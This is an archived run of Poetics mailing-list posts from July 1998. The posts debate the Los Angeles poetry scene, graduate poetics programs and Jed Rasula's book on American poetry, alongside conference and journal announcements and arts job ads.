>fundraising, staff management, publications, personnel and financial
matters.
>Familiarity with California Arts Council workings and advocacy also
helpful.
>BA or higher degree a plus.
>
>SKILLS: Applicant must be proficient in word processing, data managemen=
t,
>online internet communications. Must have meeting / event planning skil=
ls;
>excellent written / verbal / communication skills. Must be able to mana=
ge

>multiple projects simultaneously, handle diverse demands and needs. Som=
e
>travel required.
>
>COMPENSATION: Competitive salary, plus excellent benefits, working
>environment.
>
>Submit resume, list of references and cover letter to:
>
>SEARCH
>CALAA
>870 Market St., Suite 640
>San Francisco, CA. 94102
>
>Equal Opportunity Employer. No telephone calls. Position open as of
August
>1st.
>
>2. Bookkeeper
>
>Applications are now being accepted for a part time, (3 days per week --
may
>expand to full time) bookkeeper for statewide membership based arts serv=
ice
>provider organization.
>
>
>JOB DESCRIPTION: Responsible for processing invoices for member based
>statewide arts agency (bulk of which are under state / federal governmen=
t
>agency contracts); post to books, produce reports (P&L Statement; Balanc=
e
>Sheet; Financial Statements for Grant Awards); track Budget projected
Income /
>Expenses compared to Actual Income / Expenses quarterly. Compliance wit=
h
>regulations for fiscal sponsorship clients. Manage internal finances -
A/P -
>A/C (payroll handled by independent service; taxes, annual review by
>independent accounting firm). Manage membership dues. Work with Board
>Treasurer. Small office - report to President.
>

>EXPERIENCE: Nonprofit / arts agency experience preferred. Experience w=
ith
>state contracts a plus. Applicant should have a minimum of three years
>bookkeeping experience in an organization with a minimum $250,000 annual
>budget.
>
>SKILLS: Must have strong working knowledge of general accounting skills=
.
>Must be proficient in QuickBooks Pro, Excel, Microsoft Word, Mac / PC
>platforms, email. Applicant needs to have excellent written / verbal
skills
>and able to juggle numerous detail oriented projects simultaneously. Mu=
st
be
>organized and have excellent time management skills. Formal accounting
>training a plus.
>
>COMPENSATION: Competitive DOE. Excellent benefits. Position may
expan=
d
to
>FT.
>
>Submit resume, list of references (required) and cover letter to:
>
>SEARCH
>CALAA
>870 Market St., Suite 640
>San Francisco, CA. 94102
>
>Equal Opportunity Employer. No telephone calls. Position open as of
August
>1st.
>

--part0_900651252_boundary--

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468. **George Bowering**
Re: well, now
Fri 17 Jul 1998

Now it transpires that David Bromige's troublesome novel _Piccolo Mondo_, which has been for 6 months on line from Coach House Books, is at last out as a fetish object from CHB. It is a thinly fictionalized account of poetic and student life in the late fifties and early sixties, and manages to speak badly of just about everyone in both those spheres from that time. Tch tch.

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]

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469. **toddbaron**
Re: lit. scene in LA. --Cal-arts/ Moving Bdrs anth
Fri 17 Jul 1998

---

tosh:

yr right--tyhe entire discussion on my part really has the same motive--to begin a DISCOURSE (large) about what to do in a city that funds everything else so wonderfully--but cannot seem to fit two venues into one city of 4.5 million people. It, I'm afraid, is political and suirely not simply a problem of funding. If we haven't learned by now how to avoid that pitfall--late 20th century--than we haven't learned much in the way of being public with our art!

BB vrs Sun and Moon--no--I doubt anyone thought you were saying that. BUT--a political aesthetic is (IS) at foot and hand when one sees various and sundry wonderful porgrams in other cities--translation programs--seminars on late 20th century poetics--arts and poetry--to name a few recent happenings--and LA can't seem to support one even. (NO--NO--they don't happen here--they don't work here--WHY? support! RibOt has had the only "conference" in my mind of great value in MANY years! See the last RiBot for evidence. the LA POETRY FEST. just--I'm afraid--doesn't count. It's a conservative "pop" forum) I think BB gets the raw deal because BB is and says it is--the "only" literary arts center in LA." While this is VAGUELY true--you--more than any single soul --must know that the board of directions has--like any other (give them that) an agenda. The agenda doesn't always parlay into a stance towards or even against a "poetics"--not when the board is made up of those not in the field of literature per se.

Artists that work in a visual medium are not necesarily the best to overse a oftimes federally funded venue! THAT's given BB a "bad" name--and--again--deserved or not--folks in this asylum are/have been/fed up with the "blackness" of the place. (Literally--the stage itself is solid black!) BUT--of course--suport the venues we must. I won't pretend not to accept a reading there--I go where invited! Several this past week in LA have said they missed a GREAT reading by Diane Ward and Noah De Lissovoy simply because "B.B. is not a place of importance anymore..." and the like.

Phew~! Listen--we barely f**kin exist! No life support is wrong at this time--esp. the simple support of a poetics community!

Breath!

Tb
(ReMap)

ps: "distance" is no excuse. People in this pueblo travel forty miles to try the new "Japo-French-Columbian-Hungarian--Fried Chicken" resturant--further for a cocktail party--less for a reading!!! (Unles of course you count the readings where "stars" read "their" poems!) Hell-----

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470. **toddbaron**
Re: Poetix programs
Fri 17 Jul 1998

It sounds like the group consensus is--paraphrased--so far--that a poetics dept. doesn't really affect the poets involved! Otherthan the standard--I studied this and studied that! I wonder...what about the idea of beiung in large groups of poets and poet-teachers--and readers!? Isn't this a different world than one re-enters after grad?

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471. **Maria Damon**
Re: Poetix programs
Fri 17 Jul 1998

At 8:02 AM +0000 7/17/98, toddbaron wrote:
>It sounds like the group consensus is--paraphrased--so far--that a
>poetics dept. doesn't really affect the poets involved! Otherthan the
>standard--I studied this and studied that! I wonder...what about the
>idea of beiung in large groups of poets and poet-teachers--and readers!?
>Isn't this a different world than one re-enters after grad?

this consensus seems to me to underestimate the power and varieties of "influence." of course people would claim to not be influenced by their poetics department; even in a post-structuralist world people have some investment in their own "originality," or at least might not see the influence of anything as banal as an institution.

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472. **Mark Prejsnar**
Re: wrasslin with Rasula
Fri 17 Jul 1998

Henry,

i believe you are over-intellectualizing the perspective and theses of the Wax Museum. It might well be glossed as having a "foucauldian-anarchist" framework; but that would be your parsing-out of the approach JR takes...I don't believe he sets out to utilize a specific critical/historical methodolgy. Nor is one in evidence in my opinion, beyond a certain commonsense literary-historical narrativity (overlain by those fancy pyrotecnix involving the museum trope, which have blown more than a few people away, but which after a while come to seem just a mite tedious, not to say extrinsic to the specific historical insights...)

And your claim (as i understand it) that the book demonstrates a "nothing is what it seems" philosophy is just plain silly. "Robert Lowell is a puppet of the New Critics?" You're not serious, right? Lines of relation and force and clash Rasula does indeed trace.....But the paraphrases you give are nonsense. That Lowell and the NCrits are part of a single very basic and powerful moment in the americun po'tree, is fairly self-evident. Indeed, MUCH of what the Wax Museum says is (like this example) hardly controversial at all! it is the sweep and fairness and specificity of JR's account that seem important. Of course if he really said Lowell was somebody's puppet, that might be a little controversial, but he doesn't. He points out alliances and influences and other lines of relation, that's all. (And, as i've posted here in the past, the other thing i find important about the book is the intelligence and nonpartisan attention with which he approaches the task of analyzing the "social sites" of poetry vocation...)

from amongst the foo-cold of poetry,
mark p.

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473. Michael Franco
BOSTPN ALT POFEST FRIDAY UPDATE
Fri 17 Jul 1998

M. Franco here for Aaron Kiely's BOSTON ALTERNATIVE POETRY CONFERENCE: BLACKSMITH HOUSE, CAMBRIDGE MA. [HARVARD SQUARE]

FRI-SUN JULY 17-19 1998. UPDATE: AWOL SCALAPINO, MLINKO, FUNKHAUSER: Joseph Lease will now be reading Sunday Night

READERS/PRESENTERS:

BERNSTEIN, MESSERLI, TAGGART, MATLIN, TORRA, LANSING, F. HOWE, R. WALDROP, BOUCHARD, WARSH, JARNOT, BANSINSKI, GANICK, W. ALEXANDER, PREAVALLET, FUNKHOUSER, ZHANG ER, DOUD, LEASE, L. SCHWARTZ, D. GARDNER, KRUKOWSKI, ,BURGER, W HOWE, GRUMNAN, BRADY, POUND, KRAMER, KNOX, WARSH, S. COLE, B. ANDERSON, GILMORE, KIELEYWERSHLER-HENRY, KIRSCHENBAUM, KRAMER, FRANCO,

FRIDAY JULY 17

READING: 7:30 [PLEASE NOTE NEW SRTARTING TIME]
INTRODUCTION TO THE WEEKEND: w/ KIELY, SCHWARTZ & ALEXANDER

NIGHT READING:
 F. HOWE D. BOUCHARD, GARDNER

SAT JULY 18- 9: 30AM {scones to be served}
VOCABULARY AND IMIGINATIONS: PANAL W/ MESSERLLI, ALEXANDER, SCHWARTZ, MATLIN,
KIELEY, LEASE,   & FRANCO

12:00 READING W/ TORRA, LANSING, & KRUKOWSKI & KIELY

2PM: BIOGRAPHY & CRITCISM PANAL: W/ PREVALLET ON HELEN ADAM... JARNOT ON DUNCAN, ALEXANDER ON LAMANTIA TAGGART ON OPPEN, KNOX ON KOCH & ASHBERY, KIRSCHENBAUM ON d.a.levy, GILMORE ON OPPENHEIMER.

4PM AFTERNOON READING W/ TAGGART, KNOX, SCHWARTZ, ZHANG ER, KNOX, ANDERSON,BRADY, S.COLE

6PM DAVID MATLIN ON HIS NEW BOOK

7PM NIGHT READING: WARSH, JARNOT, MATLIN, ALEXANDER

SUNDAY JULY 19
{more scones}

10AM NEW POETRY PANEL PRESENTED & ORGANIZED BY BASINSKI w/ KRAMER, BRADY,
BURGER, W.HOWE, WERSHLER-HENRY, GRUMMAN & POUND

2PM AFTERNOON READING: WALDROP, MESSERLI, DOUD & FRANCO

4PM PUBLISHING PANAL: W/ TORRA, MESSERLI, BOUCHARD, GANICK, KIRCHENBAUM

7PM NIGHT READING PREAVALLET, GANICK & LEASE

8PM CHARLES BERNSTEIN; POETRY & POETICS

ADMISSIONS:
$5/reading, $15/saturday pass, $10/sunday pass,
$35/weekend-people can reserve their space now through email or phone and then pay at the conference- checks payable to aaron kiely at p.o.box 441517 somerville, ma
02144-
INFORMATION / RESERVATIONS: highly recomended- space is now quickly filling up

Aaron Kiely
PO box 441517
Somerville Ma 02144
or Email [redacted]
[redacted]

AGAIN BEST TO ALL ON THE LIST & THANKS TO AARON FOR DOING ALL OF THIS AMAZING
WORK
MICHAEL FRANCO

↑ Index

474. **Michael Magee**
never mind the canon, here's COMBO!
Fri 17 Jul 1998

SPLITTING CORNERS PUBLICATIONS presents...

...a HUB ROOM production...

...of a Michael Magee journal...

```
 cccc    oooo   mm  mm  bbbbb   oooo
cc   c  oo  oo  m mm m  b    b oo  oo
cc      oo  oo  m  m m  bbbbb  oo  oo
cc      oo  oo  m  m m  b    b oo  oo
```

cc c oo oo m m m b b oo oo
cccc oooo mm m mm bbbbb oooo

...with...

BOB PERELMAN

HARRYETTE MULLEN
LEE ANN BROWN
CHRIS STROFFOLINO

JENA OSMAN
LOUIS CABRI

KRISTEN GALLAGHER

ANDREW EPSTEIN
KATHERINE STEELE

MICHAEL MAGEE
KERRY SHERIN
JOHN PARKER
MATT HART

...and introducing JESSICA CHIU as herself

****

COMBO is a journal of poetry and poetics designed as a forum for younger, innovative writers in their 20's and early 30's. Our premise is that it's impossible to answer questions like "What do we find in the way of work [by younger writers] that is actually new?" (Ron Silliman), unless there are contexts in which to ask them. With one exception, all the younger writers here contribute 3 or more poems or 3 or more pages of work. The more established writers were asked to contribute because, by some random and unscientific consensus, they have influenced those younger writers. Harryette Mullen's contribution is a 16 page interview, occupying the back pages as part of an ongoing discussion of poetics.

COMBO is 52 pages on nice off-white paper, side-stapled with cool glossy card stock cover. So, go ahead and see what the upstarts are starting up!!

Copies are $3, which can be sent to

Michael Magee
31 Perrin Ave.
Pawtucket, RI 02861

Feel free to e-mail requests to [redacted] & we'll be glad to send a copy out in advance of payment, we're a trusting (and trustworthy) bunch. Hope to hear from many of you!!

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475. **Henry Gould**
wrasslin with Rasula
Fri 17 Jul 1998

Mark, I agree with you that the very best thing about WAX MUSEUM is the in-depth research & subtle grasp of what was at stake & all the various debates that went on over that 40 yrs. Just a couple of reiterations: I don't agree that it's silly to summarize his take on R. Lowell as a "puppet" of the New Critics - he goes to great length to show that that is EXACTLY what Lowell was - both in his literary politics & his writing itself - here's a sample quote: "He was _the_ poet prepared, golem-like, by the founders of New Criticism, programmed as it were to produce the poems that would confirm for a contemporary audience that their _tastes_ (as honed by the curriculum of _Understanding Poetry_) could handle the new poetry as readily as the old." This is just one quote among MANY. And he handles the Vendler wax very similarly. But it's a complex book - he molds the wax on all sides at various places presenting Lowell as uncannily "self-fashioned" and at other places as the puppet; he lambasts New Criticism but praises it for bring poetry per se front & center; his final section dealing with what he characterizes (following Virilio & others) society as a state of total & unacknowledged war, and arguing that mass corporate media technology has utterly debased the public sphere - his final section is a jeremiad which sounds strangely like the attacks the Fugitive New Critics made 50 years before on industrial modernity.

As far as the Wax Museum metaphor, I don't think you can discount it as mere metaphor, since the total-suspicion critique permeates this analysis in the later part of the book. His evocation of the power of war, its deep connection with communication technologies, and the effect of all this on public & cultural life especially in the US, is very powerful: it seems "dated", but the frightening thing is that this datedness seems an integral aspect of the US as a whole - this is the wax-museum-preservation effect. It's a good monster movie - the US public as zombie-fodder of their television screens & day jobs.

Nevertheless I still finally read it as a partial melodrama. The public sphere is changing fast, becoming more internationalized & contentious at the same time; what art & poetry have to offer is not a "take-over" of those mass instruments of control but an international imaginative reconstruction of social relations, which comes from the mass rather than the mass media.

As with a lot of these historical studies, the latter more contemporary sections seem more rushed & disappointing - this is probably a wax effect too. I found a lot of special pleading for language poetry, but curiously, in the context of the

"total war" era theme, & the evocation of so much social waste & despair as its outcome, I was more impressed by one line (70s) from Robert Bly as an example of political-poetic reality than the whole fanfare for what language poetry was supposedly doing. the line was: "We all feel like tires being run down roads under heavy cars". For all the special pleading about language poetry's 1-2 punch of theory & practice, what seems missing is the fusion of the two in a yes resonant speech.

- Henry Gould

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476. **tracy s. ruggles**
Re: Poetix programs
Fri 17 Jul 1998

On Friday, July 17, 1998 6:21:30 AM, Maria Damon wrote:
>
>At 8:02 AM +0000 7/17/98, toddbaron wrote:
>>It sounds like the group consensus is--paraphrased--so far--that a
>>poetics dept. doesn't really affect the poets involved! Otherthan the
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>>idea of beiung in large groups of poets and poet-teachers--and readers!?
>>Isn't this a different world than one re-enters after grad?
>
>this consensus seems to me to underestimate the power and varieties of
>"influence." of course people would claim to not be influenced by their
>poetics department; even in a post-structuralist world people have some
>investment in their own "originality," or at least might not see the
>influence of anything as banal as an institution.
>

There seems to be a storehouse of available public attention that recycles itself periodically. And, each poet/student lays themselves out in the field of visibility in such a way that each poet/student gathers the maximum amount attention that they're capable of (ready for). The whole field shifts and undulates as people come and go, the storehouse of public attention rises and falls, the teachers point focus to one spot, then another.

Imagine a park. Three people triangulate the perimeter, each with a bag of bread crumbs. Each toss by the feeders sends the pigeon/poets in flight, each at their own pace. The flock/herd seems elastic. The feeding continues. The bread runs out. Then what?

--trace--

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477. Henry Gould
teaching poetry network...
Fri 17 Jul 1998

Dear poetics, maybe some teachers among you could help out here. Do I really seem SO professorial? What is this prof crap? and WHAT website? I-am-under-the-control-of-an-electron-named-Crispin... - Zombie Gould

----------Original message---------- Dear Prof. Gould,

I have been searching the internet trying to find information on teaching poetry to secondary school students and fell upon you website. I am a student of Brown University and presently working in paris as an intern for UNESCO in the department of secondary education. I am trying to get underway a network for teachers of poetry via the internet in order for them to have a forum where they could exchange teaching methodologies; I was wondering if you had any information that could help me in this endeavor. It is to be an international project that will encompas as many countries and cultures as possible that can act as a resource to teachers of poetry. The idea is to promote the teaching of poetry to high school aged students in a more analytical and interesting way than has been traditionally taught. If you know of any webisite, organization, group, ect., who could be of use to me could you let me know ASAP. I thank you in advance for your time and consideration.

Sincerely,
Christine Bustany
[redacted]
UNESCO, Dept. of Secondary Education
Paris, France office

_____
Get Your Private, Free Email at http://www.hotmail.com

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478. daniel bouchard
Re: teaching poetry network...
Fri 17 Jul 1998

Henry, or Hank, or buddy--whatever:

You have read poetry widely. You love to talk about it. You have a high level of sophistication in discussing it. You have a sense of humor discussing it. You feel comfortable bringing theory into the discussion too, but do not allow it to eclipse the "primary text." You refrain from employing the careful academic

buzzwords that often litter poetic "discourse." You are usually bullshit-free. You're not afraid of looking like an ass. (Not at all.) In fact, listening to you talk about poetry makes me often want to seek out new work I haven't yet read. You make me feel like I have a lot of work to do but don't make me feel like an idiot for feeling so. And you have nothing really to gain from any of this. Therefore, I find it astounding that Christine Bustany, or any student, or any person, could mistake you for a university professor.

Hope to see you this weekend.

daniel bouchard

At 10:55 AM 7/17/98 EDT, Henry Gould wrote:
>Dear poetics, maybe some teachers among you could help out here. Do I
>really seem SO professorial? What is this prof crap? and WHAT website?
>I-am-under-the-control-of-an-electron-named-Crispin... - Zombie Gould
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>in

<<<<<>>>>>>>>>>>>>>>>>
Daniel Bouchard
The MIT Press Journals
Five Cambridge Center
Cambridge, MA 02142

[redacted]
phone: [redacted]
fax: [redacted]
>>>>>>><<<<<<<<<<<<<<<<

↑ Index

479. **Tosh**
(no subject)
Fri 17 Jul 1998

No, I have to strongly disagree with Todd's opinions about Beyond Baroque. Los Angeles is perhaps one of the most unique cities in the world. It is not New York, it is not San Francisco. It's Los Angeles. And one can't just complain about its city in comparison to other cities. Each place has its unique history,

etc. For its mental and aesthethic landscape Beyond Baroque is very important on many levels. And yes the Los Angeles Poetery Festival is pop and so what? I think there's room for both types (and more) poetics in whatever disguise it chooses itself in. Personally I am not that interested in that type of poetry, but they do manage to organize themselves in a professional matter and give an audience a show. Pop always draw a big crowd. Everything else is small,dark, mysterious, beautiful, etc.

In regards to Todd's commentary on Beyond Baroque's board: It had many visual artists as well as poets/writers, etc. Generally visual artists are interested in the literary field. Many of them go to readings more than writers. Ask why, but I don't know the reason. Perhaps they're more curious. Besides schools like Cal-arts really encourage the mixture of reading, visual arts and writing in their programs. And that schooling has really affected Beyond Baroque in a very positive light. As we speak I believe there are now only writers on the board at beyond baroque. So things change as they should.

I also want to comment that if you look at a regular calendar of Beyond Baroque there are so many type of things happening on it - that it doesn't really support one type of school of writing. For example I know they will be having a Todd reading there shortly - and he has read there many times in the past.

As for the darkness of the place... well for me it is a technique to focus what is happening on the stage -like cinema. As for its reputation, I find most people involved with Beyond Baroque were treated really well - artists and audience. At least that's what they told me and Benjamin.

And the struggle to keep a place like Beyond Baroque open is an ongoing battle. It has nothing to do with poetics, but more with the importance of all aspects of writing. Again culture itself is on attack. And I am talking about all forms of culture. If you are a director at beyond baroque you are working 10 to 12 (and more) hours a day without great pay, and the hardest part of that job is keeping that place open. It is a very difficult job.

I am writing this post in haste, so excuse me for the lack of wit,etc. ciao,

---
Tosh Berman
TamTam Books

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480. Loss Pequen~o Glazier
New Issue of Passages
Fri 17 Jul 1998

I'm pleased to announce that the newest issue of Passages, Passages 6, is now available at the EPC. Passages 6 features three takes from the Poetry Project's symposium on "Identity & Invention" with articles by

Tim Davis
"what me worry"

Lisa Jarnot
"On Identity"

Eddie Bell
"Fundamental Truths and Other Expressions"

Special thanks to co-editors, PASSAGES 6: Christopher Funkhouser, Amy Hufnagel for making this issue possible.

Passages 6 is the EPC's current "Featured Resource" available from the EPC home page.

E L E C T R O N I C P O E T R Y C E N T E R
http://writing.upenn.edu/epc

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481. sylvester pollet
Re: teaching poetry network
Fri 17 Jul 1998

Don't feel bad, Henry, look at the title I got! I was going to forward her to the list, but was gentlemanly enough to ask her first. Now it's moot, so I'll do it, with my reply. I do think those who can should help--although I'm not sure I see "analytical=interesting." (p.s. I'm no Prof. either) S.

> *Date: Fri, 17 Jul 1998 11:48:12 -0400*
> *To: "christine bustany" <[redacted]>*
> *From: sylvester pollet <[redacted]>*
> *Subject: Re: teaching poetry network*
> *Cc:*
> *Bcc:*
> *X-Attachments:*
>
> *At 7:16 AM -0700 7/17/98, christine bustany wrote:*
> *To whom it may concern :*

> *I have been searching the internet trying to find information on teaching poetry to secondary school students and fell upon you website. I am trying to get underway a network for teachers of poetry via the internet and was wondering if you had any information that could help me in this endeavor. It is to be an international project that will encompass teaching methodologies of as many countries and cultures as possible that can act as a resource to teachers of poetry. The idea is to promote the teaching of poetry to high school aged students in a more analytical and interesting way than has been traditionally taught. If you know of any organization, group, website ect., who could be of use to me could you let me know ASAP. I thank you in advance for your time and consideration.*
>
> *Sincerely,*
> *Christine Bustany*
> *UNESCO, Dept. of Secondary Education*
> *Paris, France office*
>
> _____
> *Get Your Private, Free Email at http://www.hotmail.com*
>
> *Dear Christine Bustany,*
> *The organization Poets & Writers, Inc. (in New York City) is what you want--many books on the subject, a directory of poets & fiction writers, etc. Address is 72 Spring St. NYC 10012. They have a website now, but I don't have the address at hand. Any search engine should find it for you.*
> *I am also a subscriber to a Poetics List, out of SUNY Buffalo, and if you'd like I could post your message there, and ask people to answer directly to you.*
> *What excitement in Paris, two days, with the World Cup followed by Bastille Day! I would have liked to have been there for that. Alors, meilleurs voeux, Sylvester*

↑ Index

482. **louis stroffolino**
Re: *wrasslin with Rasula
Fri 17 Jul 1998

Henry's write about Rasula's argument that LOWELL is puppet
(but then i don't think Rasula should be singled out for
the such inside/outide rigid polarities; after all this
is the land of STAR WARS and all that).....
cs

On Fri, 17 Jul 1998, Henry Gould wrote:

> *Mark, I agree with you that the very best thing about WAX MUSEUM is the in-depth research & subtle grasp of what was at stake & all the various debates that went on over that 40 yrs. Just a couple of reiterations:*
> *I don't agree that it's silly to summarize his take on R. Lowell as a "puppet" of the New Critics - he goes to great length to show that that is EXACTLY what Lowell was - both in his literary politics & his writing itself - here's a sample quote: "He was _the_ poet prepared, golem-like, by the founders of New Criticism, programmed as it were to produce the poems that would confirm for a contemporary audience that their _tastes_ (as honed by the curriculum of _Understanding Poetry_) could handle the new poetry as readily as the old."*
> *This is just one quote among MANY. And he handles the Vendler wax very similarly. But it's a complex book - he molds the wax on all sides at various places presenting Lowell as uncannily "self-fashioned" and at other places as the puppet; he lambasts New Criticism but praises it for bring poetry per se front & center; his final section dealing with what he characterizes (following Virilio & others) society as a state of total & unacknowledged war, and arguing that mass corporate media technology has utterly debased the public sphere - his final section is a jeremiad which sounds strangely like the attacks the Fugitive New Critics made 50 years before on industrial modernity.*
>
> *As far as the Wax Museum metaphor, I don't think you can discount it as mere metaphor, since the total-suspicion critique permeates this analysis in the later part of the book. His evocation of the power of war, its deep connection with communication technologies, and the effect of all this on public & cultural life especially in the US, is very powerful: it seems "dated", but the frightening thing is that this datedness seems an integral aspect of the US as a whole - this is the wax-museum-preservation effect. It's a good monster movie - the US public as zombie-fodder of their television screens & day jobs.*
>
> *Nevertheless I still finally read it as a partial melodrama. The public sphere is changing fast, becoming more internationalized & contentious at the same time; what art & poetry have to offer is not a "take-over" of those mass instruments of control but an international imaginative reconstruction of social relations, which comes from the mass rather than the mass media.*
>
> *As with a lot of these historical studies, the latter more contemporary sections seem more rushed & disappointing - this is probably a wax effect too. I found a lot of special pleading for language poetry, but curiously, in the context of the "total war" era theme, & the evocation of so much social waste & despair as its outcome, I was more impressed by one line (70s) from Robert Bly as an example of political-poetic reality than the whole fanfare for what language poetry was supposedly doing. the line was: "We all feel like tires being run down roads under heavy cars". For all the special pleading about language poetry's 1-2 punch of theory & practice,*

> *what seems missing is the fusion of the two in a yes resonant speech.*
>
> *- Henry Gould*

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483. **Jordan Davis**
global branding & T&W
Fri 17 Jul 1998

Sylvester --

Yes, Poets & Writers is terrific to find out which student of whom won what prize, and to find out which prizes are about to be given out to which people from where, or how to sign a book, but if you want information about teaching writing and reading to K-12 students (or college, for that matter), you more likely want to talk to Teachers & Writers.

Toll free 1-888-BOOKS-TW,
or http://www.twc.org
or [redacted]

Hotcha --
Jordan Davis

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484. **henry**
Re: teaching poetry network...
Fri 17 Jul 1998

I appreciate that, Dan. See me after class about your paper on "Boston Whalers : Small Craft Poetry Fishing Vessels off the Argentinian Coast". I think we may be able to "place" it in American Poetry Review [letters section].

- Prof. Gould

p.s. from now on, call me Doc!

p.p.s. Darn it! should have back-channeled this one - sorry, class!

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485. **Michael Magee**
Re: *wrasslin with Rasula
Fri 17 Jul 1998

I don't want to single out Rasula either, who I think is very smart, but I do feel like saying that that argument about Lowell as New Critical puppet is tired,

tired, tired. Say what you want about the guy, but that ole take is goofy: based on essentially one book - LWC - that Lowell wrote when he was in his mid-twenties. The fact is that Lowell has too severely capricious as a result of basically unmonitored bi-polar ilness to be a very convenient puppet for anyone. And his work post-Life Studies annoyed the hell out of most New Critics and was admired - albeit with some reservations by Ginsburg, Duncan and other very non-New Critics. WC Williams loved Life Studies. And in contrast, New Critic Allen Tate told Lowell, "*all* the poems about your family, including the one about you and Elizabeth, are definitely *bad*. I do not think you ought to publish them...the poems are composed of unassimilated details...The free verse, arbitrary and without rhythm reflects a lack of imaginative focus." Square this with Rasula's arguments if you like, but you'll be doing a lot of tap-dancing. I have plenty of critical things to say about Lowell's poetry, but a puppet he was not.
-m.

According to louis stroffolino:
> > Henry's write about Rasula's argument that LOWELL is puppet
> (but then i don't think Rasula should be singled out for
> the such inside/outide rigid polarities; after all this
> is the land of STAR WARS and all that).....
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> On Fri, 17 Jul 1998, Henry Gould wrote:
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> > Mark, I agree with you that the very best thing about WAX MUSEUM is the
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> > debates that went on over that 40 yrs. Just a couple of reiterations:
> > I don't agree that it's silly to summarize his take on R. Lowell as a
> > "puppet" of the New Critics - he goes to great length to show that that is
> > EXACTLY what Lowell was - both in his literary politics & his writing
> > itself - here's a sample quote: "He was _the_ poet prepared, golem-like,
> > by the founders of New Criticism, programmed as it were to produce the
> > poems that would confirm for a contemporary audience that their _tastes_
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> > he characterizes (following Virilio & others) society as a state of
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> > It's a good monster movie - the US public as zombie-fodder of their
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> > Nevertheless I still finally read it as a partial melodrama. The public
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> > is changing fast, becoming more internationalized & contentious at the
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> > instruments of control but an international imaginative reconstruction of
> > social relations, which comes from the mass rather than the mass media.
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> > too. I found a lot of special pleading for language poetry, but curiously,
> > in the context of the "total war" era theme, & the evocation of so much
> > social waste & despair as its outcome, I was more impressed by one line
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> > from Robert Bly as an example of political-poetic reality than the whole
> > fanfare for what language poetry was supposedly doing. the line was:
> > "We all feel like tires being run down roads under heavy cars". For all
> > the special pleading about language poetry's 1-2 punch of theory & prac-
tice,
> > what seems missing is the fusion of the two in a yes resonant speech.
> >
> > - Henry Gould
> >
>

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486. Laura E. Wright
Re: Poetix programs
Fri 17 Jul 1998

Maria Damon wrote:

> *At 8:02 AM +0000 7/17/98, toddbaron wrote:*
> *It sounds like the group consensus is--paraphrased--so far--that a poetics dept. doesn't really affect the poets involved! Otherthan the standard--I studied this and studied that! I wonder...what about the idea of beiung in large groups of poets and poet-teachers--and readers!? Isn't this a different world than one re-enters after grad?*
>
> *this consensus seems to me to underestimate the power and varieties of "influence." of course people would claim to not be influenced by their poetics department; even in a post-structuralist world people have some investment in their own "originality," or at least might not see the influence of anything as banal as an institution.*

Todd, Maria, et al: I didn't mean to imply lack of influence. Rather, the influence is quite varied and not necessarily corresponding directly to the public image of the program. And the influence goes beyond the program itself. For instance, I've been influenced greatly by Anselm Hollo -- but also influenced by Rachel Levitsky, whose work is very different from what one might consider the Naropa canon. And my experience may not be representative. By the time one gets to grad school, I hope, one has learned to glean what one wants to from a situation, rather than simply ingesting and regurgitating. I'm sure my influences elsewhere would have been equally different and unpredictable. Maybe someone could get a grant to attend graduate writing programs at numerous schools and document the effects on their own writing :-{)

Laura W.
--
Laura Wright
Library Assistant
Allen Ginsberg Library, The Naropa Institute
2130 Arapahoe Ave
Boulder, CO 80302
[redacted]
* * * * * *
"All music is music..." -- Ted Berrigan
* * * * * *
"It is very much like it" -- Gertrude Stein

↑ Index

487. **Mark Prejsnar**
puppets in the main stream
Fri 17 Jul 1998

Well Henry,

i know where ya stand vis-a-vis that group (which isn't a group, in any meaningful sense, in contemporary rhetoric and baiting...so i refuse to use "their" L name).....

"Special pleading"?? No i don't think so. But i know how you folks with a narrower interest in form-structures go out of your way to carry out "special bashing"!! (Thus my public stance, that the "L" name belong mostly to y'all on the contra-L barricades, and isn't really useful to folks who are actually *reading* the stuff....)

So, no, i think JR is quite fair and certainly doesn't engage in "special pleading"..

Your riposte about Lowell appears on the face of it more convincing. I'm willing to grant you that round, in a sense, because the very highly-charged (but very accurate) languange JR uses does indeed justify the term you used in paraphrasing him...I still think he doesn't mean to say, that Lowell was a puppet, as i understand the term..Only in the sense that say Reagan (not the world's most lucid or functional human being) was a "puppet" for other forces. If so, Ronnie was a very *powerful* puppet, and had and used real volition to initiate real evil..In a similar way, i think JR reads Lowell as able to rise to the po-world heights becasue various things about him made him the perfect embodiment of NewCrit values..But once near the heights, he had his own impact on the poetry world, and certainly achieved the sccess and fame he very much craved; in that sense, he was (and i think in JR's eyes was) an autonomous actor out to get things for himself..and (like the great Rondini) he got 'em. In that sense i stand by my original point that JR's reading of RL does not really reduce the latter to a "puppet."

marionettely,
mp

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488. **daniel bouchard**
Re: teaching poetry network...
Fri 17 Jul 1998

The apparent abuse is not intended for anyone on this list (that I am aware), out of the context of the smiling-good-time-fun for which I am re-nouned.

Altho, I reserve the right to contradict myself at a moment's notice.

- db

At 12:43 PM 7/17/98 -0600, Maria Damon wrote:
>well said, though do we all deserve the abuse (humorous to be sure) of the
>last coupla sentences.
>

<<<<<<>>>>>>>>>>>>>>>>>
Daniel Bouchard
The MIT Press Journals
Five Cambridge Center
Cambridge, MA 02142

[redacted]
phone: [redacted]
  fax: [redacted]
>>>>>>>><<<<<<<<<<<<<<<<<

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489. **Henry**
Re: puppets in the main stream
Fri 17 Jul 1998

Mark, the Lowell puppet or not-puppet issue is not that interesting in itself; I pointed it out as an example of what seemed more questionable about WAX, which is, for a lack of a better phrase coming to me, the "total suspicion" theory of social reality; Lowell is a puppet because EVERYTHING is under a form of "control", and the State is ONLY a form of control. My view is the state is a form of organization, that moving from monarchy to democracy was an advance, that those who fought for democracy didn't die in vain, that there is a long way to go - and Rasula's critique of war, manipulation, and conformity is a step forward - but to say government is pure malevolence and control, and that therefore culture, museums, poems, and people fall like puppet-dominoes - well, I say that's stretching it. It's like what I said about his "diorama" effect in his own museum : location is everything; if you can show how the whole culture is duped by evil forces of control then your heroes in the alternative poetry world only seem more heroic; and as I tried to point out I think Rasula really shows how great that resistant tradition is!! But I am here to remind that the left and its poets is capable of distortion and mental blinders too, of demeaning and belittling what they don't understand; and that the most desolate cultures are those built on fantasies of victory over the "enemy" actually being FULFILLED - with all the littered corpses of the vanquished foe lying about under the monuments whose languages they can no longer decipher. - Henry Gould

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490. **Tosh**
poetics and l.a.
Fri 17 Jul 1998

